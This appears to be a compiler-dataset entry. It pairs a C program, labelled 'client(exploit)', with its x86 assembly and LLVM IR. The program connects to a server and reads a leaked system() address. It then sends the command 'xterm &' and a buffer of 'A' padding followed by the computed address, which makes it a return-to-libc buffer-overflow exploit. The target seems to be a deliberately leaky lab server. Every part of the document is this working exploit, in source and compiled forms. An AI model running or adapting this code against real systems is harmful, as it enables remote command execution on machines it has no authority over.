#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */
typedef struct TYPE_2__ TYPE_1__;

/* Type definitions */
typedef int u_long;
typedef int /*<<< orphan*/ sysaddr;
struct TYPE_2__ {
  int /*<<< orphan*/ s_addr;
};
struct sockaddr_in {
  int /*<<< orphan*/ sin_port;
  TYPE_1__ sin_addr;
  int /*<<< orphan*/ sin_family;
};
struct hostent {
  int /*<<< orphan*/ h_length;
  scalar_t__ h_addr;
};
typedef int /*<<< orphan*/ serv_addr;
typedef int /*<<< orphan*/ buffer;
typedef int /*<<< orphan*/ buf;

/* Variables and functions */
int /*<<< orphan*/ AF_INET;
int /*<<< orphan*/ SOCK_STREAM;
int atoi(char *);
int /*<<< orphan*/ bcopy(char *, char *, int /*<<< orphan*/);
int /*<<< orphan*/ bzero(char *, int);
scalar_t__ connect(int, struct sockaddr_in *, int);
int /*<<< orphan*/ exit(int);
int /*<<< orphan*/ fprintf(int /*<<< orphan*/, char *, ...);
struct hostent *gethostbyname(char *);
int /*<<< orphan*/ htons(int);
int /*<<< orphan*/ memset(char *, char, int);
int /*<<< orphan*/ perror(char *);
int /*<<< orphan*/ printf(char *, ...);
int read(int, char *, int);
int socket(int /*<<< orphan*/, int /*<<< orphan*/, int /*<<< orphan*/);
int /*<<< orphan*/ stderr;
int write(int, char *, int);
int main(int argc, char **argv) {
  register int i;
  u_long sysaddr;
  static char buf[12 + sizeof(u_long) + 1] = {0};
  int sockfd, portno, n;
  struct sockaddr_in serv_addr;
  struct hostent *server;
  char buffer[100];
  if (argc < 4) {
    fprintf(stderr, "Usage: %s <hostname> <port> <offset>\n", argv[0]);
    exit(-1);
  }
  portno = atoi(argv[2]);
  sockfd = socket(AF_INET, SOCK_STREAM, 0);
  if (sockfd < 0) {
    perror("ERROR opening socket");
    exit(-1);
  }
  server = gethostbyname(argv[1]);
  if (server == NULL) {
    fprintf(stderr, "ERROR, no such host\n");
    exit(-1);
  }
  bzero((char *)&serv_addr, sizeof(serv_addr));
  serv_addr.sin_family = AF_INET;
  bcopy((char *)server->h_addr, (char *)&serv_addr.sin_addr.s_addr,
        server->h_length);
  serv_addr.sin_port = htons(portno);
  if (connect(sockfd, &serv_addr, sizeof(serv_addr)) < 0) {
    printf("ERROR connecting");
    perror("ERROR connecting");
    exit(-1);
  }
  bzero(buffer, sizeof(buffer));
  n = read(sockfd, buffer, sizeof(buffer));
  if (n < 0) {
    perror("ERROR reading from socket");
    exit(-1);
  }
  sysaddr = (u_long)atoi(buffer) - atoi(argv[3]);
  printf("client(exploit) :: system(): 0x%lx\n", (u_long)atoi(buffer));
  printf("client(exploit) :: trying system() at 0x%lx\n", sysaddr);
  n = write(sockfd, "xterm &", sizeof("xterm &"));
  if (n < 0) {
    perror("ERROR writing to socket");
    exit(-1);
  }
  bzero(buffer, sizeof(buffer));
  n = read(sockfd, buffer, sizeof(buffer));
  if (n < 0) {
    perror("ERROR reading from socket");
    exit(-1);
  }
  printf("client(exploit) :: flush= %s\n", buffer);
  memset(buf, 'A', 12);
  for (i = 0; i < sizeof(sysaddr); i++)
    buf[12 + i] = ((u_long)sysaddr >> (i * 8)) & 255;
  printf("client(exploit) :: send buffer= %s\n", buf);
  n = write(sockfd, buf, sizeof(buf));
  if (n < 0) {
    perror("ERROR writing to socket");
    exit(-1);
  }
  return 0;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0xb0,%rsp
movl   $0x0,-0x4(%rbp)
mov    %edi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
cmpl   $0x4,-0x8(%rbp)
jge    122b <main+0x4b>
mov    0x2dce(%rip),%rax
mov    (%rax),%edi
mov    -0x10(%rbp),%rax
mov    (%rax),%rdx
lea    0xde6(%rip),%rsi
mov    $0x0,%al
call   1090 <fprintf@plt>
mov    $0xffffffff,%edi
call   10e0 <exit@plt>
mov    -0x10(%rbp),%rax
mov    0x10(%rax),%rdi
call   10d0 <atoi@plt>
mov    %eax,-0x20(%rbp)
mov    0x2da6(%rip),%rax
mov    (%rax),%edi
mov    0x2d85(%rip),%rax
mov    (%rax),%esi
xor    %edx,%edx
call   1100 <socket@plt>
mov    %eax,-0x1c(%rbp)
cmpl   $0x0,-0x1c(%rbp)
jge    1277 <main+0x97>
lea    0xdbe(%rip),%rdi
call   10b0 <perror@plt>
mov    $0xffffffff,%edi
call   10e0 <exit@plt>
mov    -0x10(%rbp),%rax
mov    0x8(%rax),%rdi
call   1080 <gethostbyname@plt>
mov    %rax,-0x38(%rbp)
cmpq   $0x0,-0x38(%rbp)
jne    12b4 <main+0xd4>
mov    0x2d3e(%rip),%rax
mov    (%rax),%edi
lea    0xd98(%rip),%rsi
mov    $0x0,%al
call   1090 <fprintf@plt>
mov    $0xffffffff,%edi
call   10e0 <exit@plt>
lea    -0x30(%rbp),%rdi
mov    $0xc,%esi
call   10c0 <bzero@plt>
mov    0x2d1f(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x28(%rbp)
mov    -0x38(%rbp),%rax
mov    0x8(%rax),%rdi
lea    -0x30(%rbp),%rsi
add    $0x4,%rsi
mov    -0x38(%rbp),%rax
mov    (%rax),%edx
call   10a0 <bcopy@plt>
mov    -0x20(%rbp),%edi
call   1040 <htons@plt>
mov    %eax,-0x30(%rbp)
mov    -0x1c(%rbp),%edi
lea    -0x30(%rbp),%rsi
mov    $0xc,%edx
call   10f0 <connect@plt>
cmp    $0x0,%rax
jge    1333 <main+0x153>
lea    0xd3a(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
lea    0xd2c(%rip),%rdi
call   10b0 <perror@plt>
mov    $0xffffffff,%edi
call   10e0 <exit@plt>
lea    -0xa0(%rbp),%rdi
mov    $0x64,%esi
call   10c0 <bzero@plt>
mov    -0x1c(%rbp),%edi
lea    -0xa0(%rbp),%rsi
mov    $0x64,%edx
call   1070 <read@plt>
mov    %eax,-0x24(%rbp)
cmpl   $0x0,-0x24(%rbp)
jge    137b <main+0x19b>
lea    0xcf5(%rip),%rdi
call   10b0 <perror@plt>
mov    $0xffffffff,%edi
call   10e0 <exit@plt>
lea    -0xa0(%rbp),%rdi
call   10d0 <atoi@plt>
mov    %eax,-0xa4(%rbp)
mov    -0x10(%rbp),%rax
mov    0x18(%rax),%rdi
call   10d0 <atoi@plt>
mov    %eax,%ecx
mov    -0xa4(%rbp),%eax
sub    %ecx,%eax
mov    %eax,-0x18(%rbp)
lea    -0xa0(%rbp),%rdi
call   10d0 <atoi@plt>
mov    %eax,%esi
lea    0xcbf(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
mov    -0x18(%rbp),%esi
lea    0xcd2(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
mov    -0x1c(%rbp),%edi
lea    0xcee(%rip),%rsi
mov    $0x8,%edx
call   1030 <write@plt>
mov    %eax,-0x24(%rbp)
cmpl   $0x0,-0x24(%rbp)
jge    140b <main+0x22b>
lea    0xcd8(%rip),%rdi
call   10b0 <perror@plt>
mov    $0xffffffff,%edi
call   10e0 <exit@plt>
lea    -0xa0(%rbp),%rdi
mov    $0x64,%esi
call   10c0 <bzero@plt>
mov    -0x1c(%rbp),%edi
lea    -0xa0(%rbp),%rsi
mov    $0x64,%edx
call   1070 <read@plt>
mov    %eax,-0x24(%rbp)
cmpl   $0x0,-0x24(%rbp)
jge    1453 <main+0x273>
lea    0xc1d(%rip),%rdi
call   10b0 <perror@plt>
mov    $0xffffffff,%edi
call   10e0 <exit@plt>
lea    -0xa0(%rbp),%rsi
lea    0xc8b(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
lea    0x2c31(%rip),%rdi
mov    $0x41,%esi
mov    $0xc,%edx
call   1060 <memset@plt>
movl   $0x0,-0x14(%rbp)
movslq -0x14(%rbp),%rax
cmp    $0x4,%rax
jae    14c6 <main+0x2e6>
mov    -0x18(%rbp),%eax
mov    -0x14(%rbp),%ecx
shl    $0x3,%ecx
sar    %cl,%eax
and    $0xff,%eax
mov    %al,%dl
mov    -0x14(%rbp),%eax
add    $0xc,%eax
movslq %eax,%rcx
lea    0x2beb(%rip),%rax
mov    %dl,(%rax,%rcx,1)
mov    -0x14(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x14(%rbp)
jmp    1485 <main+0x2a5>
lea    0xc3d(%rip),%rdi
lea    0x2bcc(%rip),%rsi
mov    $0x0,%al
call   1050 <printf@plt>
mov    -0x1c(%rbp),%edi
lea    0x2bbb(%rip),%rsi
mov    $0x11,%edx
call   1030 <write@plt>
mov    %eax,-0x24(%rbp)
cmpl   $0x0,-0x24(%rbp)
jge    1512 <main+0x332>
lea    0xbd1(%rip),%rdi
call   10b0 <perror@plt>
mov    $0xffffffff,%edi
call   10e0 <exit@plt>
xor    %eax,%eax
add    $0xb0,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rbp
push   %r15
push   %r14
push   %r13
push   %r12
push   %rbx
sub    $0x78,%rsp
mov    %rsi,%r14
cmp    $0x3,%edi
jle    13a9 <main+0x1c9>
mov    0x10(%r14),%rdi
call   10d0 <atoi@plt>
mov    %eax,%r15d
mov    0x2ddb(%rip),%rbx
mov    (%rbx),%edi
mov    0x2dba(%rip),%rax
mov    (%rax),%esi
xor    %edx,%edx
call   1100 <socket@plt>
test   %eax,%eax
js     13cd <main+0x1ed>
mov    %eax,%r13d
mov    0x8(%r14),%rdi
call   1080 <gethostbyname@plt>
test   %rax,%rax
je     13d6 <main+0x1f6>
mov    %rax,%rbp
mov    %rsp,%r12
mov    %r12,%rdi
mov    $0xc,%esi
call   10c0 <bzero@plt>
mov    (%rbx),%eax
mov    %eax,0x8(%rsp)
mov    0x8(%rbp),%rsi
lea    0x4(%rsp),%rdi
mov    0x0(%rbp),%edx
call   10a0 <memmove@plt>
mov    %r15d,%edi
call   1040 <htons@plt>
mov    %eax,(%rsp)
mov    %r13d,%edi
mov    %r12,%rsi
mov    $0xc,%edx
call   10f0 <connect@plt>
test   %rax,%rax
js     13f7 <main+0x217>
lea    0x10(%rsp),%rbp
mov    %rbp,%rdi
mov    $0x64,%esi
call   10c0 <bzero@plt>
mov    %r13d,%edi
mov    %rbp,%rsi
mov    $0x64,%edx
call   1070 <read@plt>
test   %eax,%eax
js     1397 <main+0x1b7>
lea    0x10(%rsp),%rdi
call   10d0 <atoi@plt>
mov    %eax,%ebp
mov    0x18(%r14),%rdi
call   10d0 <atoi@plt>
mov    %ebp,%ebx
sub    %eax,%ebx
lea    0xda7(%rip),%rdi
mov    %ebp,%esi
xor    %eax,%eax
call   1050 <printf@plt>
lea    0xdbb(%rip),%rdi
mov    %ebx,%esi
xor    %eax,%eax
call   1050 <printf@plt>
lea    0xdd8(%rip),%rsi
mov    %r13d,%edi
mov    $0x8,%edx
call   1030 <write@plt>
test   %eax,%eax
js     13a0 <main+0x1c0>
lea    0x10(%rsp),%rbp
mov    %rbp,%rdi
mov    $0x64,%esi
call   10c0 <bzero@plt>
mov    %r13d,%edi
mov    %rbp,%rsi
mov    $0x64,%edx
call   1070 <read@plt>
test   %eax,%eax
js     1397 <main+0x1b7>
lea    0xdb6(%rip),%rdi
lea    0x10(%rsp),%rsi
xor    %eax,%eax
call   1050 <printf@plt>
lea    0x2d57(%rip),%rbp
mov    %rbp,%rdi
mov    $0x41,%esi
mov    $0xc,%edx
call   1060 <memset@plt>
mov    %ebx,0x2d4b(%rip)
lea    0xda2(%rip),%rdi
mov    %rbp,%rsi
xor    %eax,%eax
call   1050 <printf@plt>
mov    %r13d,%edi
mov    %rbp,%rsi
mov    $0x11,%edx
call   1030 <write@plt>
test   %eax,%eax
js     13a0 <main+0x1c0>
xor    %eax,%eax
add    $0x78,%rsp
pop    %rbx
pop    %r12
pop    %r13
pop    %r14
pop    %r15
pop    %rbp
ret
lea    0xcc3(%rip),%rdi
jmp    140b <main+0x22b>
lea    0xd2d(%rip),%rdi
jmp    140b <main+0x22b>
mov    0x2c28(%rip),%rax
mov    (%rax),%edi
mov    (%r14),%rdx
lea    0xc44(%rip),%rsi
xor    %eax,%eax
call   1090 <fprintf@plt>
mov    $0xffffffff,%edi
call   10e0 <exit@plt>
lea    0xc52(%rip),%rdi
jmp    140b <main+0x22b>
mov    0x2bfb(%rip),%rax
mov    (%rax),%edi
lea    0xc55(%rip),%rsi
xor    %eax,%eax
call   1090 <fprintf@plt>
mov    $0xffffffff,%edi
call   10e0 <exit@plt>
lea    0xc52(%rip),%rbx
mov    %rbx,%rdi
xor    %eax,%eax
call   1050 <printf@plt>
mov    %rbx,%rdi
call   10b0 <perror@plt>
mov    $0xffffffff,%edi
call   10e0 <exit@plt>

LLVM IR (-O0):
%struct.sockaddr_in = type { i32, %struct.TYPE_2__, i32 }
%struct.TYPE_2__ = type { i32 }
%struct.hostent = type { i32, i64 }
@main.buf = internal global [17 x i8] zeroinitializer
@stderr = global i32 0
@.str = [38 x i8] c"Usage: %s <hostname> <port> <offset>\0A\00"
@AF_INET = global i32 0
@SOCK_STREAM = global i32 0
@.str.1 = [21 x i8] c"ERROR opening socket\00"
@.str.2 = [21 x i8] c"ERROR, no such host\0A\00"
@.str.3 = [17 x i8] c"ERROR connecting\00"
@.str.4 = [26 x i8] c"ERROR reading from socket\00"
@.str.5 = [36 x i8] c"client(exploit) :: system(): 0x%lx\0A\00"
@.str.6 = [45 x i8] c"client(exploit) :: trying system() at 0x%lx\0A\00"
@.str.7 = [8 x i8] c"xterm &\00"
@.str.8 = [24 x i8] c"ERROR writing to socket\00"
@.str.9 = [30 x i8] c"client(exploit) :: flush= %s\0A\00"
@.str.10 = [36 x i8] c"client(exploit) :: send buffer= %s\0A\00"
define i32 @main(i32 %0, i8** %1) {
%3 = alloca i32
%4 = alloca i32
%5 = alloca i8**
%6 = alloca i32
%7 = alloca i32
%8 = alloca i32
%9 = alloca i32
%10 = alloca i32
%11 = alloca %struct.sockaddr_in
%12 = alloca %struct.hostent*
%13 = alloca [100 x i8]
store i32 0, i32* %3
store i32 %0, i32* %4
store i8** %1, i8*** %5
%14 = load i32, i32* %4
%15 = icmp slt i32 %14, 4
br i1 %15, label %16, label %23
16: ; preds = %2
%17 = load i32, i32* @stderr
%18 = load i8**, i8*** %5
%19 = getelementptr inbounds i8*, i8** %18, i64 0
%20 = load i8*, i8** %19
%21 = call i32 (i32, i8*, ...) @fprintf(i32 %17, i8* getelementptr inbounds ([38 x i8], [38 x i8]* @.str, i64 0, i64 0), i8* %20)
%22 = call i32 @exit(i32 -1)
unreachable
23: ; preds = %2
%24 = load i8**, i8*** %5
%25 = getelementptr inbounds i8*, i8** %24, i64 2
%26 = load i8*, i8** %25
%27 = call i32 @atoi(i8* %26)
store i32 %27, i32* %9
%28 = load i32, i32* @AF_INET
%29 = load i32, i32* @SOCK_STREAM
%30 = call i32 @socket(i32 %28, i32 %29, i32 0)
store i32 %30, i32* %8
%31 = load i32, i32* %8
%32 = icmp slt i32 %31, 0
br i1 %32, label %33, label %36
33: ; preds = %23
%34 = call i32 @perror(i8* getelementptr inbounds ([21 x i8], [21 x i8]* @.str.1, i64 0, i64 0))
%35 = call i32 @exit(i32 -1)
unreachable
36: ; preds = %23
%37 = load i8**, i8*** %5
%38 = getelementptr inbounds i8*, i8** %37, i64 1
%39 = load i8*, i8** %38
%40 = call %struct.hostent* @gethostbyname(i8* %39)
store %struct.hostent* %40, %struct.hostent** %12
%41 = load %struct.hostent*, %struct.hostent** %12
%42 = icmp eq %struct.hostent* %41, null
br i1 %42, label %43, label %47
43: ; preds = %36
%44 = load i32, i32* @stderr
%45 = call i32 (i32, i8*, ...) @fprintf(i32 %44, i8* getelementptr inbounds ([21 x i8], [21 x i8]* @.str.2, i64 0, i64 0))
%46 = call i32 @exit(i32 -1)
unreachable
47: ; preds = %36
%48 = bitcast %struct.sockaddr_in* %11 to i8*
%49 = call i32 @bzero(i8* %48, i32 12)
%50 = load i32, i32* @AF_INET
%51 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %11, i32 0, i32 2
store i32 %50, i32* %51
%52 = load %struct.hostent*, %struct.hostent** %12
%53 = getelementptr inbounds %struct.hostent, %struct.hostent* %52, i32 0, i32 1
%54 = load i64, i64* %53
%55 = inttoptr i64 %54 to i8*
%56 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %11, i32 0, i32 1
%57 = getelementptr inbounds %struct.TYPE_2__, %struct.TYPE_2__* %56, i32 0, i32 0
%58 = bitcast i32* %57 to i8*
%59 = load %struct.hostent*, %struct.hostent** %12
%60 = getelementptr inbounds %struct.hostent, %struct.hostent* %59, i32 0, i32 0
%61 = load i32, i32* %60
%62 = call i32 @bcopy(i8* %55, i8* %58, i32 %61)
%63 = load i32, i32* %9
%64 = call i32 @htons(i32 %63)
%65 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %11, i32 0, i32 0
store i32 %64, i32* %65
%66 = load i32, i32* %8
%67 = call i64 @connect(i32 %66, %struct.sockaddr_in* %11, i32 12)
%68 = icmp slt i64 %67, 0
br i1 %68, label %69, label %73
69: ; preds = %47
%70 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([17 x i8], [17 x i8]* @.str.3, i64 0, i64 0))
%71 = call i32 @perror(i8* getelementptr inbounds ([17 x i8], [17 x i8]* @.str.3, i64 0, i64 0))
%72 = call i32 @exit(i32 -1)
unreachable
73: ; preds = %47
%74 = getelementptr inbounds [100 x i8], [100 x i8]* %13, i64 0, i64 0
%75 = call i32 @bzero(i8* %74, i32 100)
%76 = load i32, i32* %8
%77 = getelementptr inbounds [100 x i8], [100 x i8]* %13, i64 0, i64 0
%78 = call i32 @read(i32 %76, i8* %77, i32 100)
store i32 %78, i32* %10
%79 = load i32, i32* %10
%80 = icmp slt i32 %79, 0
br i1 %80, label %81, label %84
81: ; preds = %73
%82 = call i32 @perror(i8* getelementptr inbounds ([26 x i8], [26 x i8]* @.str.4, i64 0, i64 0))
%83 = call i32 @exit(i32 -1)
unreachable
84: ; preds = %73
%85 = getelementptr inbounds [100 x i8], [100 x i8]* %13, i64 0, i64 0
%86 = call i32 @atoi(i8* %85)
%87 = load i8**, i8*** %5
%88 = getelementptr inbounds i8*, i8** %87, i64 3
%89 = load i8*, i8** %88
%90 = call i32 @atoi(i8* %89)
%91 = sub nsw i32 %86, %90
store i32 %91, i32* %7
%92 = getelementptr inbounds [100 x i8], [100 x i8]* %13, i64 0, i64 0
%93 = call i32 @atoi(i8* %92)
%94 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([36 x i8], [36 x i8]* @.str.5, i64 0, i64 0), i32 %93)
%95 = load i32, i32* %7
%96 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([45 x i8], [45 x i8]* @.str.6, i64 0, i64 0), i32 %95)
%97 = load i32, i32* %8
%98 = call i32 @write(i32 %97, i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.7, i64 0, i64 0), i32 8)
store i32 %98, i32* %10
%99 = load i32, i32* %10
%100 = icmp slt i32 %99, 0
br i1 %100, label %101, label %104
101: ; preds = %84
%102 = call i32 @perror(i8* getelementptr inbounds ([24 x i8], [24 x i8]* @.str.8, i64 0, i64 0))
%103 = call i32 @exit(i32 -1)
unreachable
104: ; preds = %84
%105 = getelementptr inbounds [100 x i8], [100 x i8]* %13, i64 0, i64 0
%106 = call i32 @bzero(i8* %105, i32 100)
%107 = load i32, i32* %8
%108 = getelementptr inbounds [100 x i8], [100 x i8]* %13, i64 0, i64 0
%109 = call i32 @read(i32 %107, i8* %108, i32 100)
store i32 %109, i32* %10
%110 = load i32, i32* %10
%111 = icmp slt i32 %110, 0
br i1 %111, label %112, label %115
112: ; preds = %104
%113 = call i32 @perror(i8* getelementptr inbounds ([26 x i8], [26 x i8]* @.str.4, i64 0, i64 0))
%114 = call i32 @exit(i32 -1)
unreachable
115: ; preds = %104
%116 = getelementptr inbounds [100 x i8], [100 x i8]* %13, i64 0, i64 0
%117 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([30 x i8], [30 x i8]* @.str.9, i64 0, i64 0), i8* %116)
%118 = call i32 @memset(i8* getelementptr inbounds ([17 x i8], [17 x i8]* @main.buf, i64 0, i64 0), i8 signext 65, i32 12)
store i32 0, i32* %6
br label %119
119: ; preds = %134, %115
%120 = load i32, i32* %6
%121 = sext i32 %120 to i64
%122 = icmp ult i64 %121, 4
br i1 %122, label %123, label %137
123: ; preds = %119
%124 = load i32, i32* %7
%125 = load i32, i32* %6
%126 = mul nsw i32 %125, 8
%127 = ashr i32 %124, %126
%128 = and i32 %127, 255
%129 = trunc i32 %128 to i8
%130 = load i32, i32* %6
%131 = add nsw i32 12, %130
%132 = sext i32 %131 to i64
%133 = getelementptr inbounds [17 x i8], [17 x i8]* @main.buf, i64 0, i64 %132
store i8 %129, i8* %133
br label %134
134: ; preds = %123
%135 = load i32, i32* %6
%136 = add nsw i32 %135, 1
store i32 %136, i32* %6
br label %119
137: ; preds = %119
%138 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([36 x i8], [36 x i8]* @.str.10, i64 0, i64 0), i8* getelementptr inbounds ([17 x i8], [17 x i8]* @main.buf, i64 0, i64 0))
%139 = load i32, i32* %8
%140 = call i32 @write(i32 %139, i8* getelementptr inbounds ([17 x i8], [17 x i8]* @main.buf, i64 0, i64 0), i32 17)
store i32 %140, i32* %10
%141 = load i32, i32* %10
%142 = icmp slt i32 %141, 0
br i1 %142, label %143, label %146
143: ; preds = %137
%144 = call i32 @perror(i8* getelementptr inbounds ([24 x i8], [24 x i8]* @.str.8, i64 0, i64 0))
%145 = call i32 @exit(i32 -1)
unreachable
146: ; preds = %137
ret i32 0
}

LLVM IR (-O2):
%struct.sockaddr_in = type { i32, %struct.TYPE_2__, i32 }
%struct.TYPE_2__ = type { i32 }
%struct.hostent = type { i32, i64 }
@main.buf = internal global [17 x i8] zeroinitializer
@stderr = global i32 0
@.str = [38 x i8] c"Usage: %s <hostname> <port> <offset>\0A\00"
@AF_INET = global i32 0
@SOCK_STREAM = global i32 0
@.str.1 = [21 x i8] c"ERROR opening socket\00"
@.str.2 = [21 x i8] c"ERROR, no such host\0A\00"
@.str.3 = [17 x i8] c"ERROR connecting\00"
@.str.4 = [26 x i8] c"ERROR reading from socket\00"
@.str.5 = [36 x i8] c"client(exploit) :: system(): 0x%lx\0A\00"
@.str.6 = [45 x i8] c"client(exploit) :: trying system() at 0x%lx\0A\00"
@.str.7 = [8 x i8] c"xterm &\00"
@.str.8 = [24 x i8] c"ERROR writing to socket\00"
@.str.9 = [30 x i8] c"client(exploit) :: flush= %s\0A\00"
@.str.10 = [36 x i8] c"client(exploit) :: send buffer= %s\0A\00"
define i32 @main(i32 %0, i8** nocapture %1) {
%3 = alloca %struct.sockaddr_in
%4 = alloca [100 x i8]
%5 = bitcast %struct.sockaddr_in* %3 to i8*
%6 = getelementptr inbounds [100 x i8], [100 x i8]* %4, i64 0, i64 0
%7 = icmp slt i32 %0, 4
br i1 %7, label %8, label %13
8: ; preds = %2
%9 = load i32, i32* @stderr
%10 = load i8*, i8** %1
%11 = tail call i32 (i32, i8*, ...) @fprintf(i32 %9, i8* getelementptr inbounds ([38 x i8], [38 x i8]* @.str, i64 0, i64 0), i8* %10)
%12 = tail call i32 @exit(i32 -1)
unreachable
13: ; preds = %2
%14 = getelementptr inbounds i8*, i8** %1, i64 2
%15 = load i8*, i8** %14
%16 = tail call i32 @atoi(i8* %15)
%17 = load i32, i32* @AF_INET
%18 = load i32, i32* @SOCK_STREAM
%19 = tail call i32 @socket(i32 %17, i32 %18, i32 0)
%20 = icmp slt i32 %19, 0
br i1 %20, label %21, label %24
21: ; preds = %13
%22 = tail call i32 @perror(i8* getelementptr inbounds ([21 x i8], [21 x i8]* @.str.1, i64 0, i64 0))
%23 = tail call i32 @exit(i32 -1)
unreachable
24: ; preds = %13
%25 = getelementptr inbounds i8*, i8** %1, i64 1
%26 = load i8*, i8** %25
%27 = tail call %struct.hostent* @gethostbyname(i8* %26)
%28 = icmp eq %struct.hostent* %27, null
br i1 %28, label %29, label %33
29: ; preds = %24
%30 = load i32, i32* @stderr
%31 = tail call i32 (i32, i8*, ...) @fprintf(i32 %30, i8* getelementptr inbounds ([21 x i8], [21 x i8]* @.str.2, i64 0, i64 0))
%32 = tail call i32 @exit(i32 -1)
unreachable
33: ; preds = %24
%34 = call i32 @bzero(i8* %5, i32 12)
%35 = load i32, i32* @AF_INET
%36 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %3, i64 0, i32 2
store i32 %35, i32* %36
%37 = getelementptr inbounds %struct.hostent, %struct.hostent* %27, i64 0, i32 1
%38 = load i64, i64* %37
%39 = inttoptr i64 %38 to i8*
%40 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %3, i64 0, i32 1, i32 0
%41 = bitcast i32* %40 to i8*
%42 = getelementptr inbounds %struct.hostent, %struct.hostent* %27, i64 0, i32 0
%43 = load i32, i32* %42
%44 = tail call i32 @htons(i32 %16)
%45 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %3, i64 0, i32 0
store i32 %44, i32* %45
%46 = call i64 @connect(i32 %19, %struct.sockaddr_in* %3, i32 12)
%47 = icmp slt i64 %46, 0
br i1 %47, label %48, label %52
48: ; preds = %33
%49 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([17 x i8], [17 x i8]* @.str.3, i64 0, i64 0))
%50 = call i32 @perror(i8* getelementptr inbounds ([17 x i8], [17 x i8]* @.str.3, i64 0, i64 0))
%51 = call i32 @exit(i32 -1)
unreachable
52: ; preds = %33
%53 = call i32 @bzero(i8* %6, i32 100)
%54 = call i32 @read(i32 %19, i8* %6, i32 100)
%55 = icmp slt i32 %54, 0
br i1 %55, label %56, label %59
56: ; preds = %52
%57 = call i32 @perror(i8* getelementptr inbounds ([26 x i8], [26 x i8]* @.str.4, i64 0, i64 0))
%58 = call i32 @exit(i32 -1)
unreachable
59: ; preds = %52
%60 = call i32 @atoi(i8* %6)
%61 = getelementptr inbounds i8*, i8** %1, i64 3
%62 = load i8*, i8** %61
%63 = call i32 @atoi(i8* %62)
%64 = sub nsw i32 %60, %63
%65 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([36 x i8], [36 x i8]* @.str.5, i64 0, i64 0), i32 %60)
%66 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([45 x i8], [45 x i8]* @.str.6, i64 0, i64 0), i32 %64)
%67 = call i32 @write(i32 %19, i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.7, i64 0, i64 0), i32 8)
%68 = icmp slt i32 %67, 0
br i1 %68, label %69, label %72
69: ; preds = %59
%70 = call i32 @perror(i8* getelementptr inbounds ([24 x i8], [24 x i8]* @.str.8, i64 0, i64 0))
%71 = call i32 @exit(i32 -1)
unreachable
72: ; preds = %59
%73 = call i32 @bzero(i8* %6, i32 100)
%74 = call i32 @read(i32 %19, i8* %6, i32 100)
%75 = icmp slt i32 %74, 0
br i1 %75, label %76, label %79
76: ; preds = %72
%77 = call i32 @perror(i8* getelementptr inbounds ([26 x i8], [26 x i8]* @.str.4, i64 0, i64 0))
%78 = call i32 @exit(i32 -1)
unreachable
79: ; preds = %72
%80 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([30 x i8], [30 x i8]* @.str.9, i64 0, i64 0), i8* %6)
%81 = call i32 @memset(i8* getelementptr inbounds ([17 x i8], [17 x i8]* @main.buf, i64 0, i64 0), i8 signext 65, i32 12)
%82 = trunc i32 %64 to i8
store i8 %82, i8* getelementptr inbounds ([17 x i8], [17 x i8]* @main.buf, i64 0, i64 12)
%83 = lshr i32 %64, 8
%84 = trunc i32 %83 to i8
store i8 %84, i8* getelementptr inbounds ([17 x i8], [17 x i8]* @main.buf, i64 0, i64 13)
%85 = lshr i32 %64, 16
%86 = trunc i32 %85 to i8
store i8 %86, i8* getelementptr inbounds ([17 x i8], [17 x i8]* @main.buf, i64 0, i64 14)
%87 = lshr i32 %64, 24
%88 = trunc i32 %87 to i8
store i8 %88, i8* getelementptr inbounds ([17 x i8], [17 x i8]* @main.buf, i64 0, i64 15)
%89 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([36 x i8], [36 x i8]* @.str.10, i64 0, i64 0), i8* getelementptr inbounds ([17 x i8], [17 x i8]* @main.buf, i64 0, i64 0))
%90 = call i32 @write(i32 %19, i8* getelementptr inbounds ([17 x i8], [17 x i8]* @main.buf, i64 0, i64 0), i32 17)
%91 = icmp slt i32 %90, 0
br i1 %91, label %92, label %95
92: ; preds = %79
%93 = call i32 @perror(i8* getelementptr inbounds ([24 x i8], [24 x i8]* @.str.8, i64 0, i64 0))
%94 = call i32 @exit(i32 -1)
unreachable
95: ; preds = %79
ret i32 0
}